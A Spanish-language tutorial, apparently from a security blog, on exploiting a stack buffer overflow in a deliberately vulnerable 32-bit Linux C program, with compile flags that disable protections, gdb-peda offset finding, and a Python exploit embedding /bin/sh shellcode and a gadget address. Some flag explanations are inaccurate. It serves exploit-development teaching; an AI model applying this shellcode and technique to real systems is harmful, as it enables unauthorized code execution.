Stack-Based Buffer Overflow Linux x32

Resolución de un Buffer overflow en Linux de 32 Bits.

Introducción

¡Saludos a tod@s!,

En este artículo explicaré como se realizará un Buffer overflow en Linux de 32 bits utilizando GDB y Python para poder desarrollar un pequeño exploit y lograr tener ejecución de comandos.

En este caso no me pararé mucho a explicar que es un Buffer overflow, ya que tengo un artículo mucho más detallado aquí: Introducción a Buffer overflow.

La herramienta que utilizaré será gdb-peda como he mencionado anteriormente, dicho esto podemos comenzar.

Código fuente

Este código representa un programa simple que es vulnerable a un desbordamiento de búfer debido a la función “strcpy” que no verifica la longitud del búfer “dest”. Si el argumento de la función “vuln” es más largo de lo normal, va a sobrescribir la memoria por encima del límite del búfer “dest”.

#include <string.h>
#include <stdio.h>

void vuln(char *src)
{
    char dest[100];
    strcpy(dest, src);
}

int main(int argg, char *argv[])
{
    if (argg != 2)
    {
        printf("Usage: %s <argument>\n", argv[0]);
        return 1;
    }

    vuln(argv[1]);
    return 0;
}

Compilar código

Compilamos el código con la siguiente sintaxis:

gcc -m32 -fno-stack-protector -z execstack -no-pie -g code.c -o code

Una pequeña explicación de lo que hace cada una de las flags empleadas en la compilación:

Flag
Descripción

-m32

Compila para un modelo de datos de 32 bits.

-fno-stack-protector

El protector de pila está desactivado de forma predeterminada.

-no-pie

PIE es una condición previa para habilitar la aleatorización del diseño del espacio de direcciones (ASLR).

-z execstack

Se utiliza como vinculador de palabra clave en este caso “execstack”.

-g

Genera información de depuración para ser utilizada por el depurador GDB.

-o

Output de la compilación.

Como también se puede apreciar en la siguiente imagen, usando la utilidad “checksec” de gdb comprobamos que no tiene ningún tipo de protección:

Explotación

Podemos verificar que una vez que enviamos una cantidad superior de datos a lo que se le puede almacenar en el Búfer nos muestra lo siguiente:

Búsqueda EIP

Creamos un patrón cíclico con gdb para poder encontrar el offset EIP (Extended Instruction Pointer).

gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

Lo copiamos y lo mandamos.

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

El patrón se almacena en en EAX.

El valor de EIP es: 112.

Como el valor se almacena en EAX, podemos buscar un gadtget para que cuando llamemos al registro EAX ejecute lo que le mandemos.

Desarrollo de exploit

#!/usr/bin/python3

import struct,sys

# Shellcode de 32 bits
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

eip = 112 # Dirección de retorno

eax = struct.pack("I", 0x8049019) # Gadget 

junk = b"A" * (eip - len(shellcode)) # Relleno

buf = shellcode + junk + eax

sys.stdout.buffer.write(buf) # Escribe el contenido del Buffer en la salida estándar.

Shell

Mandamos el exploit, y obtenemos una shell.

Última actualización